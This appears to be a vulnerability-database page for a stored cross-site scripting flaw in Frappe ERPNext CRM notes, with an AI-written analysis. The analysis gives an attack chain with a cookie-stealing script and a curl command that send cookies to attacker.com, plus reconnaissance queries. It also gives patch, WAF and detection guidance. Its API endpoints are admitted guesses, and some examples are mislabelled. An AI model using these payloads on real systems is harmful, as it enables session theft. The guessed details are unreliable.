CVE Professor
›
Back
CVE-2026-134388

CVE-2026-134388 — Frappe ERPNext — CWE-79

MEDIUM CVSS 5.4 Shodan

CVE-2026-134388 is a MEDIUM severity Cross-Site Scripting (XSS) vulnerability (CWE-79) (CVSS 5.4/10) affecting Frappe ERPNext. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network with low-privileged access (PR:L) requiring user interaction, triggering a scope change (S:C) across connected components and posing a direct security risk to affected deployments.

📄 Official NVD / MITRE Original Record Text

Frappe ERPNext 14.0.0 before 15.124.0 and 16.x before 16.52.0 contains a stored cross-site scripting vulnerability in the CRM module because notes on Leads and Opportunities are saved without passing through the HTML sanitiser. Authenticated users with the Sales User role can save a note containing a crafted payload that executes in another user's session when they open the record, acting with that user's permissions.

Published 21.11.2026
ISO Date 2026-11-21
CVSS Version v3.1
Source Shodan
CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction Required UI:R
Scope Changed S:C
Confidentiality Low C:L
Integrity Low I:L
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Stored Cross‑Site Scripting (XSS) in the CRM “Notes” field

  • Affected area: The Notes sub‑document that can be attached to Leads and Opportunities in the Frappe ERPNext CRM module.
  • Root cause: When a user with the Sales User role creates or edits a note, the content is written to the database without passing through the framework’s HTML sanitiser (frappe.utils.html.escape / frappe.utils.sanitize_html).
  • Result: The raw HTML/JavaScript payload is stored and later rendered inside the CRM record view. When any other authenticated user opens that record, the browser executes the payload in the context of that user’s session, giving the attacker the victim’s privileges (e.g., read sensitive data, perform privileged actions, or exfiltrate cookies).
  • CWE: CWE‑79 – Improper Neutralization of Input During Web Page Generation (“Cross‑Site Scripting”).
    CVSS: 5.4/10 (Medium) – low attack complexity, low privilege required, but requires user interaction and changes the scope (S:C) because the script runs with the victim’s rights.


    ⚡ Attack Chain

    NOTE – The exact API endpoints and parameter names are not published in the CVE text. The following example uses the official ERPNext REST API as documented in the public API guide. If your instance uses a custom route or different parameter names, the same logic applies.

    1. Discovery & Reconnaissance

    StepTechniqueWhat you learn
    1.1HTTP header sniffingServer: frappe or X-Frame-Options: SAMEORIGIN indicates ERPNext.
    1.2Version enumerationGET /api/method/frappe.utils.get_version → returns {"message":"15.123.0"}.
    1.3Role enumerationGET /api/method/frappe.auth.get_user_info (requires login) → shows roles: ["Sales User"].
    1.4Identify vulnerable moduleGET /api/method/frappe.crm.doctype.lead.lead.get_leads → confirms CRM module is active.

    2. Exploitation

    Goal: Store a malicious note that will be rendered when a victim opens the lead/opportunity.

    StepActionExample
    2.1Authenticate as a user with the *Sales User* role.Use normal login (POST /api/method/login with usr/pwd) → receive Set-Cookie: frappe_session=....
    2.2Craft the payload.<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
    2.3Submit the note via the API.``bash\ncurl -X POST \\\n -b frappe_session=... \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"lead_name\": \"LEAD-001\",\n \"note\": \"<script>fetch(\\\"https://attacker.com/steal?c=\\\"+document.cookie)</script>\"\n }' \\\n https://erp.example.com/api/method/frappe.crm.doctype.lead.lead.add_note\n`
    2.4Verify persistence.GET /api/method/frappe.crm.doctype.lead.lead.get_lead?lead_name=LEAD-001 → note field contains the raw <script>` tag.
    Illustrative – If your ERPNext instance uses a custom endpoint (e.g., /crm/lead/123/note), the same POST payload applies; just adjust the URL and JSON keys accordingly.

    3. Post‑exploitation

    StepWhat the attacker can doExample
    3.1Data exfiltration – The script runs with the victim’s session, so it can read document.cookie, localStorage, or make authenticated API calls to pull sensitive data.fetch('https://erp.example.com/api/method/frappe.auth.get_user_info')
    3.2Privilege‑escalation within the app – The script can invoke any API that the victim’s role permits (e.g., create a new user, modify a lead, delete a record).POST /api/method/frappe.crm.doctype.lead.lead.update
    3.3Session hijacking – By stealing the session cookie, the attacker can impersonate the victim.fetch('https://erp.example.com/api/method/frappe.auth.logout', {credentials:'include'})
    3.4Persistence – The note remains until the owner deletes it, allowing the attacker to re‑execute the payload whenever the victim views the record.

    🌍 Real World Impact

    ImpactCVSS ComponentPractical Consequence
    ConfidentialityC:LLow‑level data leakage (e.g., session cookies, user profile).
    IntegrityI:LMinor data tampering (e.g., modifying a lead’s status).
    AvailabilityA:NNone.
    ScopeS:CThe attack changes the scope of the victim’s privileges (the script runs as the victim).

    Why it matters

  • In a typical ERP environment, Sales User accounts are widely distributed (sales reps, managers).

  • A single compromised note can give an attacker a foothold to read sensitive customer data, create fraudulent orders, or exfiltrate credentials.

  • The vulnerability is stored; it does not require the attacker to be online at the moment of exploitation, making it a persistent threat.

  • 🛡️ Remediation & Mitigation

    1. Patch

    ProductAffected VersionsFixed In
    Frappe ERPNext14.0.0 – 15.123.015.124.0
    Frappe ERPNext16.0.0 – 16.51.016.52.0

    Action: Upgrade to ≥ 15.124.0 or ≥ 16.52.0.
    If an upgrade is not immediately possible, proceed with the work‑arounds below.

    2. Work‑arounds

    TechniqueHow to implementNotes
    Role restrictionRemove the *Sales User* role from the ability to create notes (via frappe.permissions or the UI).Limits the attack surface but may impact business processes.
    Input sanitisationAdd a custom hook that sanitises the note field before saving. Example (Python):<br>def before_save(doc, method):<br> doc.note = frappe.utils.sanitize_html(doc.note)Requires code deployment; ensure it runs for both Leads and Opportunities.
    WAF / ModSecurity ruleBlock <script> tags in the request body. Example rule:<br>SecRule REQUEST_BODY "@rx <script" "id:'1001',phase:2,block,msg:'XSS in CRM notes',severity:2"Works for all HTTP methods; adjust phase if needed.
    Content‑Security‑Policy (CSP)Add CSP header to the CRM pages: Content-Security-Policy: script-src 'self'Mitigates execution of inline scripts but does not stop data exfiltration.

    3. Detection

    Log SourceIndicatorExample
    Web server access logsPOST to /api/method/frappe.crm.doctype.lead.lead.add_note with <script> in bodyPOST /api/method/frappe.crm.doctype.lead.lead.add_note 200
    ERPNext audit logsnote field contains <script>{"lead_name":"LEAD-001","note":"<script>..."}
    WAF logsRule ID 1001 triggeredWAF: 1001 - XSS in CRM notes

    IoCs

  • Presence of <script> or </script> in the note field.

  • Unusual Content-Type: application/json POSTs to the CRM note endpoint.

  • External requests from the ERP domain to https://attacker.com/steal?c=.
  • 4. Monitoring

  • Enable ERPNext’s audit trail for frappe.crm.doctype.lead.lead and frappe.crm.doctype.opportunity.opportunity.
  • Set up a SIEM rule that alerts on any note containing <script> or onerror=.

⚠️ Urgency

FactorAssessment
CVSS5.4 (Medium) – low complexity, low privilege, but requires user interaction.
CISA KEVNo – not listed as a known exploit.
ExploitabilityRequires an authenticated *Sales User* account. Many organizations grant this role broadly, so the risk is higher than the CVSS alone suggests.
Business ImpactPotential data exfiltration and unauthorized actions.

Priority: High for environments where Sales User accounts are widely distributed or where sensitive customer data is stored in Leads/Opportunities.
Recommendation: Patch immediately; if patching is delayed, apply the role restriction or WAF rule as a temporary mitigator.


Bottom line – The flaw is a classic stored XSS that can be leveraged by any authenticated user with the Sales User role to run arbitrary JavaScript in the context of other users. Upgrade to the fixed versions or enforce input sanitisation / role restrictions to eliminate the risk.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="frappe ERPNext"
CVSS Score
5.4 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-79
Affected Products (1)
frappe:ERPNext
References & Advisories (2)
Related CVEs
7.1
CVE-2026-129016
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Andrea T
7.1
CVE-2026-131700
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Dylan Ku
7.1
CVE-2026-131708
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Metagaus
7.1
CVE-2026-131702
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NextScri
7.1
CVE-2026-131714
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kaliform
7.1
CVE-2026-131718
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Liquid W